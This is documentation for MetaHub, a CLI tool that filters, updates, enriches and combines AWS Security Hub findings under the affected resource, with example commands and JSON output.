If you don't specify any filters, default filters are applied: RecordState=ACTIVE WorkflowStatus=NEW
Passing filters using this option resets the default filters. If you want to add filters to the defaults, you need to specify them in addition to the default ones. For example, adding SeverityLabel to the default filters:
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW
If a value contains spaces, you should specify it using double quotes: "ProductName="Security Hub"
You can add how many different filters you need to your query and also add the same filter key with different values:
Examples:
./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL
./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL SeverityLabel=HIGH
./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL AwsAccountId=1234567890
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW Title="EC2.22 Unused EC2 security groups should be removed"
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceId="arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890"
./metahub --sh-filters Id="arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.19/finding/01234567890-1234-1234-1234-01234567890"
./metahub --sh-filters ComplianceStatus=FAILED
MetaHub lets you create complex filters using YAML files (templates) that you can re-use when needed. YAML templates let you write filters using any comparison supported by AWS Security Hub like "EQUALS' | 'PREFIX' | 'NOT_EQUALS' | 'PREFIX_NOT_EQUALS". You can call your YAML file using the option --sh-template <<FILE>>
.
You can find examples under the folder templates
./metaHub --sh-template templates/default.yml
MetaHub supports Config filters (and associations) using KEY=VALUE
where the value can only be True
or False
using the option --mh-filters-config
. You can use as many filters as you want and separate them using spaces. If you specify more than one filter, you will get all resources that match all filters.
Config filters only support True
or False
values:
True
or with data.False
or without data.Config filters run after AWS Security Hub filters:
--sh-filters
(or the default ones).--mh-filters-config
, so it's a subset of the resources from point 1.Examples:
ResourceType=AwsEc2SecurityGroup
) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW
) only if they are associated to Network Interfaces (network_interfaces=True
):./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-config network_interfaces=True
ResourceType=AwsS3Bucket
) only if they are public (public=True
):./metahub --sh-filters ResourceType=AwsS3Bucket --mh-filters-config public=False
MetaHub supports Tags filters in the form of KEY=VALUE
where KEY is the Tag name and value is the Tag Value. You can use as many filters as you want and separate them using spaces. Specifying multiple filters will give you all resources that match at least one filter.
Tags filters run after AWS Security Hub filters:
--sh-filters
(or the default ones).--mh-filters-tags
, so it's a subset of the resources from point 1.Examples:
ResourceType=AwsEc2SecurityGroup
) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW
) only if they are tagged with a tag Environment
and value Production
:./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-tags Environment=Production
You can use MetaHub to update your AWS Security Hub Findings workflow status (NOTIFIED,
NEW,
RESOLVED,
SUPPRESSED
) with a single command. You will use the --update-findings
option to update all the findings from your MetaHub query. This means you can update one, ten, or thousands of findings using only one command. AWS Security Hub API is limited to 100 findings per update. Metahub will split your results into 100 items chucks to avoid this limitation and update your findings beside the amount.
For example, using the following filter: ./metahub --sh-filters ResourceType=AwsSageMakerNotebookInstance RecordState=ACTIVE WorkflowStatus=NEW
I found two affected resources with three finding each making six Security Hub findings in total.
Running the following update command will update those six findings' workflow status to NOTIFIED
with a Note:
./metahub --update-findings Workflow=NOTIFIED Note="Enter your ticket ID or reason here as a note that you will add to the finding as part of this update."
The --update-findings
will ask you for confirmation before updating your findings. You can skip this confirmation by using the option --no-actions-confirmation
.
You can use MetaHub to enrich back your AWS Security Hub Findings with Context outputs using the option --enrich-findings
. Enriching your findings means updating them directly in AWS Security Hub. MetaHub uses the UserDefinedFields
field for this.
By enriching your findings directly in AWS Security Hub, you can take advantage of features like Insights and Filters by using the extra information not available in Security Hub before.
For example, you want to enrich all AWS Security Hub findings with WorkflowStatus=NEW
, RecordState=ACTIVE
, and ResourceType=AwsS3Bucket
that are public=True
with Context outputs:
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsS3Bucket --mh-filters-checks public=True --enrich-findings
The --enrich-findings
will ask you for confirmation before enriching your findings. You can skip this confirmation by using the option --no-actions-confirmation
.
Working with Security Findings sometimes introduces the problem of Shadowing and Duplication.
Shadowing is when two checks refer to the same issue, but one in a more generic way than the other one.
Duplication is when you use more than one scanner and get the same problem from more than one.
Think of a Security Group with port 3389/TCP open to 0.0.0.0/0. Let's use Security Hub findings as an example.
If you are using one of the default Security Standards like AWS-Foundational-Security-Best-Practices,
you will get two findings for the same issue:
EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports
EC2.19 Security groups should not allow unrestricted access to ports with high risk
If you are also using the standard CIS AWS Foundations Benchmark, you will also get an extra finding:
4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
Now, imagine that SG is not in use. In that case, Security Hub will show an additional fourth finding for your resource!
EC2.22 Unused EC2 security groups should be removed
So now you have in your dashboard four findings for one resource!
Suppose you are working with multi-account setups and many resources. In that case, this could result in many findings that refer to the same thing without adding any extra value to your analysis.
MetaHub aggregates security findings under the affected resource.
This is how MetaHub shows the previous example with output-mode json-short:
"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
"findings": [
"EC2.19 Security groups should not allow unrestricted access to ports with high risk",
"EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports",
"4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389",
"EC2.22 Unused EC2 security groups should be removed"
],
"AwsAccountId": "01234567890",
"Region": "eu-west-1",
"ResourceType": "AwsEc2SecurityGroup"
}
This is how MetaHub shows the previous example with output-mode json-full:
"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
"findings": [
{
"EC2.19 Security groups should not allow unrestricted access to ports with high risk": {
"SeverityLabel": "CRITICAL",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",
"Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
},
{
"EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports": {
"SeverityLabel": "HIGH",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",< br/> "Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
},
{
"4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389": {
"SeverityLabel": "HIGH",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",
"Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
},
{
"EC2.22 Unused EC2 security groups should be removed": {
"SeverityLabel": "MEDIUM",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",
"Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
}
],
"AwsAccountId": "01234567890",
"AwsAccountAlias": "obfuscated",
"Region": "eu-west-1",
"ResourceType": "AwsEc2SecurityGroup"
}
Your findings are combined under the ARN of the resource affected, ending in only one result or one non-compliant resource.
You can now work in MetaHub with all these four findings together as if they were only one. For example, you can update these four Workflow Status findings using only one command: See Updating Workflow Status
You can follow this guide if you want to contribute to the Context module guide.